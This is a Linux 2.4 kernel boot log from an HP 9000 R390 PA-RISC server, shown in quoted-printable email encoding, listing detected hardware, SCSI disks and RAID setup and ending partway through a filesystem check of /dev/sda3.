Determining PDC firmware type: System Map.
model 00005ba0 00000491 00000000 00000002 7777173a 100000f0 00000008 000000=
b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x3
model 9000/800/R390
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3Dvt102=
 palo_kernel=3D4/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 478.41 BogoMIPS
Memory: 1033080k available
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Bluefish Add-on FW-SCSI (4) at 0xf1004000 [8/4], versions 0x13, 0x1, 0x89
3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d
4. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0, 0x81,=
  additional addresses: 0xffd0c000 0xffc00000=20
5. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f, 0x0, =
0x74,  additional addresses: 0xffd01000 0xffd03000=20
6. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f, 0x0,=
 0x8c
7. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f, 0x0, 0x82
8. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f, 0x0,=
 0x8a
9. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f, 0x0, 0=
x84
10. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f, 0x0, =
0x84
11. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0, 0x8e
12. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31, 0x0,=
 0x8c
13. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0, 0x9=
0,  additional addresses: 0xffc88000=20
14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
15. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
16. Bluefish Add-on FW-SCSI (4) at 0xf180c000 [10/12], versions 0x13, 0x1, =
0x89
17. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
18. UL 2w U+/240 (350/550) (0) at 0xfffa0000 [32], versions 0x5ba, 0x0, 0x4
19. Memory (1) at 0xfffb1000 [49], versions 0x7e, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 240.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 3.x (card mode) found at 0xf1008000
Dino: Failed to allocate memory region
POSIX conformance testing by UNIFIX
SMP: Bootstrap processor only.
SMP: Total 1 of 1 processors activated (478.41 BogoMIPS noticed).
Waiting on wait_init_idle (map =3D 0x0)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0140000.
Starting kswapd
VFS: Diskquotas version dquot_6.4.0 initialized
Journalled Block Device driver loaded
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_P=
CI enabled
ttyS00 at iomem 0xffd05800 (irq =3D 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq =3D 121) is a 16550A
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 A3 38 14 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 37
ncr53c8xx: 53c720 detected
ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
scsi1 : ncr53c8xx-3.4.3b-20010512
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi2: 53c710 rev 2=20
scsi2 : LASI SCSI 53c700
scsi2: (2:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: DVD-ROM 6x/32x    Rev: 1.08
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi2: (3:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: C1537A            Rev: HP02
  Type:   Sequential-Access                  ANSI SCSI revision: 02
st: Version 20020205, bufsize 32768, wrt 30720, max init. bufs 4, s/g segs =
16
Attached scsi tape st0 at scsi2, channel 0, id 3, lun 0
Attached scsi disk sda at scsi0, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 2, lun 0
Attached scsi disk sdc at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdd at scsi0, channel 0, id 4, lun 0
Attached scsi disk sde at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdf at scsi0, channel 0, id 6, lun 0
Attached scsi disk sdg at scsi1, channel 0, id 1, lun 0
Attached scsi disk sdh at scsi1, channel 0, id 2, lun 0
Attached scsi disk sdi at scsi1, channel 0, id 3, lun 0
Attached scsi disk sdj at scsi1, channel 0, id 4, lun 0
Attached scsi disk sdk at scsi1, channel 0, id 5, lun 0
Attached scsi disk sdl at scsi1, channel 0, id 6, lun 0
ncr53c720-0-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
ncr53c720-0-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
 sdb: unknown partition table
ncr53c720-0-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdc: 8388314 512-byte hdwr sectors (4295 MB)
 sdc: unknown partition table
ncr53c720-0-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)
 sdd: unknown partition table
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)
 sde: unknown partition table
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdf: 8388314 512-byte hdwr sectors (4295 MB)
 sdf: unknown partition table
ncr53c720-1-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdg: 8388314 512-byte hdwr sectors (4295 MB)
 sdg: unknown partition table
ncr53c720-1-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdh: 8388314 512-byte hdwr sectors (4295 MB)
 sdh: unknown partition table
ncr53c720-1-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdi: 8388314 512-byte hdwr sectors (4295 MB)
 sdi: unknown partition table
ncr53c720-1-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdj: 8388314 512-byte hdwr sectors (4295 MB)
 sdj: unknown partition table
ncr53c720-1-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdk: 8388314 512-byte hdwr sectors (4295 MB)
 sdk: unknown partition table
ncr53c720-1-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdl: 8388314 512-byte hdwr sectors (4295 MB)
 sdl: unknown partition table
Attached scsi CD-ROM sr0 at scsi2, channel 0, id 2, lun 0
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   504.000 MB/sec
   8regs_prefetch:   443.600 MB/sec
   32regs    :   459.200 MB/sec
   32regs_prefetch:   432.400 MB/sec
raid5: using function: 8regs (504.000 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 1024 buckets, 48Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 216k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 977140k swap-space (priority -1)
Checking root file system...
fsck 1.28 (31-Aug-2002)
/dev/sda3 was not cleanly unmounted, check forced.
/dev/sda3: |=3D=3D                                                      |  =
2.8%   /dev/sda3: |=3D=3D=3D                                               =
      /  5.6%   /dev/sda3: |=3D=3D=3D=3D=3D                                =
                   -  8.4%   /dev/sda3: |=3D=3D=3D=3D=3D=3D                =
                                  \ 11.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=
=3D=3D                                                | 14.0%   /dev/sda3: =
|=3D=3D=3D=3D=3D=3D=3D=3D=3D                                               =
/ 16.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                    =
                         - 19.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D                                           \ 22.4%   /dev/sda3:=
 |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                               =
           | 25.2%   /dev/sda3:                                            =
                                    Inode 142595, i_blocks is 80, should be=
 56.  FIXED.
/dev/sda3: Inode 142873, i_blocks is 320, should be 296.  FIXED.
/dev/sda3: Inode 142775, i_blocks is 336, should be 312.  FIXED.
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D               =
                         / 28.0%   /dev/sda3:                              =
                                                  Inode 158469, i_blocks is=
 64, should be 8.  FIXED.
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            =
                           - 30.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                     \ 33.=
6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D                                    | 36.4%   /dev/sda3: |=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                     =
             / 39.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                - 42.0%   =
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D                               \ 44.8%   /dev/sda3: |=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   =
                          | 47.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                  =
          / 50.4%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                          -=
 53.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                         \ 56.0%   /=
dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                       | 58.8%   /dev/s=
da3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                      / 61.6%   /dev/sda3:=
                                                                           =
     Inode 348490, i_blocks is 88, should be 48.  FIXED.
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                    - 64.4%   =
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                  \ 67.2=
%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D               =
  | 70.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D         =
        / 70.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   =
              - 70.4%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D                \ 70.7%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D                | 70.9%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D                / 71.2%   /dev/sda3: |=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                - 71.5%   /dev/sda3: |=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                \ 71.8%   /dev/sd=
a3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                | 72.1% =
  /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            =
   / 72.5%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
               - 72.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D               \ 73.1%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D               | 73.4%   /dev/sda3: |=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D               / 73.7%   /dev/sda3: |=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D              - 74.1%   =
/dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            =
  \ 74.5%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
              | 74.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D              / 75.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D              - 75.2%   /dev/sda3: |=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D              \ 75.5%   /dev/sda3: |=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D              | 75.7%   /de=
v/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            =
 / 75.9%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D             - 76.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D             \ 76.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D             | 77.0%   /dev/sda3: |=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D             / 77.2%   /dev=
/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            =
 - 77.5%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D            \ 77.9%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D            | 78.1%   /dev/sda3: |=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            / 78.4%   /dev/sda3: =
|=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D            - 7=
8.7%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D            \ 79.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D            | 79.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D           / 79.7%   /dev/sda3: |=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D           - 80=
.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D           \ 80.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D           | 80.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D           / 80.8%   /dev/sda3: |=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D           - 81.0%=
   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D          \ 81.3%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D          | 81.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D          / 81.8%   /dev/sda3:=
 |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D         =
 - 82.1%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D          \ 82.3%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D          | 82.5%   /dev/sda3: |=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D          / 82.8%   /=
dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
